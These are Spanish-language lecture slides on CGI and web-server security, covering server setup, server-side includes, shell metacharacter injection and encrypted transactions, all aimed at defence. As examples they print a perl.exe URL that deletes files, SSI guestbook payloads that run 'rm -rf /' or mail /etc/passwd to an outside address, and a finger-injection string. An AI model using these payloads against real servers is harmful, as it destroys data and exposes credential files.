Seguridad y CGI

Jesús Vegas

Departamento de Informática
Universidad de Valladolid
España
jvegas@infor.uva.es

Introducción

- La seguridad de los programas en un entorno monousuario no es importante.
- Programar en Internet requiere prestar especial atención a la seguidad.
- Cualquier servicio sobre Internet se puede convertir en una puerta abierta al mundo.
- Un fallo de seguridad se produce cuando una persona gana un acceso no autorizado a la máquina ya sea para ejecutar un programa o convertirse en `root`.

Introducción II

- Hay que suponer que los servidores Web son seguros y está configurado apropiadamente (=:-$).
- CGI es un protocolo que permite extender las posibilidades del servidor Web.
- Un programa CGI escrito sin cuidado puede dar acceso completo a la máquina.

Sistemas Operativos Seguros

- ¿Existe un SO más seguro que otro?
- Ningún SO es claramente más seguro que otro.
- Se prefiere un SO que considere usuarios y permisos.
- Los paquetes asociados a los servicios de red (mail, FTP, Gopher, etc) pueden contener agujeros de seguridad.
- Elegir el SO, arreglar los agujeros específicos, instalar y configurar correctamente el servidor Web y escribir CGIs seguros.

Servidores Web Seguros

- El primer paso para conseguir CGIs seguros es asegurarse que el servidor Web está correctamente instalado y configurado.
- Un CGI perfecto sobre un servidor Web mal configurado no sirve de nada.
- Un servidor Web bien configurado puede minimizar los efectos de un agujero de seguridad en un CGI.

Servidores Web Seguros II

- Cuanto más desarrollado y extendido sea mejor.
- Un código fuente de libre disposición ayuda a encontrar los errores.
- Estar atento a lo que se dice en los grupos de noticias.
- Estudiar las necesidades y las posibilidades que aporta cada servidor Web. Cuanto más complejos son, más posibilidades de que tengan algún agujero difícil de detectar y corregir.
- Elegir uno que tenga posibilidad de `logs` para poder trazar la evolución de los problemas.
- Tener un plan B para reemplazar el servidor si se descubre un fallo de seguridad.

Objetivos

- Configurar los programas para que sólo hagan lo que tengan que hacer, nada más.
- No revelar más información de la estríctamente necesaria.
- Minimizar los daños de un potencial acceso no autorizado.

Situación de los CGIs

- Dos alternativas: todos juntos en un directorio `cgi-bin` o en cualquier directorio.
- Mejor todos en un directorio:
  - Se conocen todas las aplicaciones CGI, y se puede revisar su seguridad más facilmente (alteraciones).
  - Todos los ficheros son ejectuados, no enviados al cliente (`*.bak`).
- En un entorno de proveedores Web no será posible centralizar los CGIs, pero si al menos revisarles antes de que estén disponibles para ser ejecutados.

Situación de los Intérpretes

- Nunca poner los intérpretes en el mismo directorio que los CGIs: los usuarios podrían ejecutar cualquier programa o comando.
- Para evitarlo:
  - Unix: indicar la situación del intérprete

    ```
    #!/usr/local/bin/perl
    ```

  - Windows: hacer un programa `.bat`

    ```
    REM prog.bat
    REM para ejecutar el script perl prog.pl
    c:\perl\perl.exe prog.pl
    ```

Situación de los Intérpretes II

- Si no se quiere escribir un programa `.bat` se puede invocar utilizando un URL

  `http://hostname/cgi-bin/perl.exe?prog.pl`

- Lamentablemente también se puede aprovechar esa oportunidad para hacer lo siguiente

  `http://hostname/cgi-bin/perl.exe?-e+unlink+%3C*.*%3E%3B`

  que decodificado es `unlink <*.*>;`.

Inclusiones del Lado del Servidor

- Una Inclusión en el Lado del Servidor, Server Side Inclusion, SSI, permite incluir en un documento HTML el resultado de la ejecución de un programa (p.e. un contador de accesos).
- `<!--#comando tag1="valor1" tag2="valor2 -->`
- Esto es un riesgo, pues el programa se ejecutará como si fuera del propietario del servidor Web, no como el propietario del programa.
- Si el servidor está mal configurado los ficheros y programas propiedad del propietario del servidor Web serán accesibles.

Inclusiones del Lado del Servidor II

- supongamos un libro de visitas, en las que los mensajes de los anteriores visitantes son mostrados a los siguientes visitantes.
- Algunas firmas pueden no ser inocentes saludos:
- `<!--#exec cmd="/bin/rm -rf /" -->`
- `<!--#exec cmd="/bin/mail yo@malos.com </etc/passwd" -->`
- Soluciones:
  - Desactivar las SSIs.
  - Analizar todo lo que se añade a los libros de visita.

Servidores Web Unix

- Desactivar los servicios de red no necesarios (incluso el inocente `finger` puede dar información sobre el sistema).
- Evitar los scripts con `setuid` que puedan ser utilizados por hackers para obtener privilegios.
- Instalar un `shadow` para proteger los passwords encriptados.
- No colocar nada que no se quiera publicar en el directorio destinado a las páginas Web.
- El sevidor Web nunca debe ejecutarse como `root`, mejor como un usuario sin privilegios como `nobody`.
- Desactivar las posibilidades del servidor Web no imprescindibles.

CGIs Seguros

- Suponiendo que el servidor Web es seguro hay que intentar escribir CGIs seguros:
  - Los programas deben hacer sólo lo que queremos que hagan.
  - No dar a los clientes más información de la que necesiten.
  - No confiar en que los clientes van a darnos la información que esperamos de ellos.

Riesgos Asociados a los Lenguajes

- Son preferibles los compilados a los interpretados:
  - no necesitan que un intérprete esté accesible, y
  - el código fuente no está disponible.
- Los lenguajes de bajo nivel como C sufren el problema de desbordamiento del buffer asociado al manejo de cadenas de caracteres.

Peligros en los Shells

- El `shell` se utiliza para invocar programas externos desde el CGI (p.e. mail).
- Los peligros dependen de cómo se invoquen los programas.
- Funciones como `system()`, `open()`, `exec()`, `eval()`, generan un shell donde ejecutan el programa invocado.
- El riesgo reside en el uso de los metacaracteres: `;`, `<`, `>`, `|`, `&`, etc.

Peligros en los Shells II

- Supongamos que tenemos un CGI para hacer un finger a una dirección dada que recogemos en la variable `$username` la invocación al programa `finger` puede ser la siguiente:

  ```
  print `/usr/bin/finger $username`;
  ```

- Si el contenido de `$username` fuera

  ```
  nobody@nowhere.org
  ```

  se generaría la siguiente invocación:

  ```
  /usr/bin/finger nobody@nowhere.org
  ```

Peligros en los Shells III

- Pero si el contenido de `$username` fuera

  `nobody@nowhere.org ; /bin/rm -rf /`

  se generaría la siguiente invocación:

  `/usr/bin/finger nobody@nowhere.org ; /bin/rm -rf /`

  que después de realizar el `finger`, ¡intentaría borrar el árbol de ficheros! (si el servidor Web se ejecuta como si fuera `root` y el programa `rm` está en `bin`).

Peligros en los Shells: Soluciones

- Escapar todos los caracteres potencialmente peligrosos (p.e. `\;`)
- Nunca ejecutar el servidor Web desde un usuario con privilegios.
- Utilizar una versión de Perl que detecta las variables potencialmente peligrosas `perl -T`.
- Evitar expandir shells para ejecutar programas externos, mejor utilizar `system`.

Transacciones Seguras

- Cualquier dato que viaje por la red entre el cliente y el servidor puede ser capturado por un tercero.
- Esto es especialmente importante cuando por la red viajan datos privados (p.e. datos personales, núm. de tarjetas de crédito, etc.).
- La única forma de impedir la captura de información es la encriptación.

Java y Transacciones CGI Seguras

- Hasta la aparición del procesado en el cliente no se ha podido encriptar la información.
- Si el formulario lo construimos con un applet Java, éste se encargará de encriptar y mandar la información recogida. En el lado del servidor se desencripta y se pasa al CGI apropiado.
- Esto implica dejar al protocolo CGI de lado en el proceso de comunicación entre el browser y el servidor.
- La ventaja es que la encriptación es barata y no se depende de paquetes comerciales.

SSL y SHTTP

- Secure Sockets Layer
  - Proporciona un canal seguro entre la capa de aplicación y la de transporte.
  - La encriptación es transparente a HTML y al CGI.
- Secure HTTP
  - Extiende HTTP (capa de aplicación) para conseguir transacciones seguras.
- SHTTP y HTTP son compatibles en las dos direcciones, lo que le hace más flexible que SSL.
- SHTTP sirve sólo para aplicaciones Web, mientras que SSL es de propósito general.

Referencias Bibliográficas

- Eugene Eric Kim *CGI Developer's Guide*. Sans Net. 1996.
- Darnell Rick et al. *HTML4 Professional Reference Edition*. Sans Net. 1998.
- Isaac Cohen *CGI/Perl y JavaScript*. Eyrolles. 1996.
- Especificación SHTTP `http://www.commerce.net/information/standards/drafts/shttp.txt`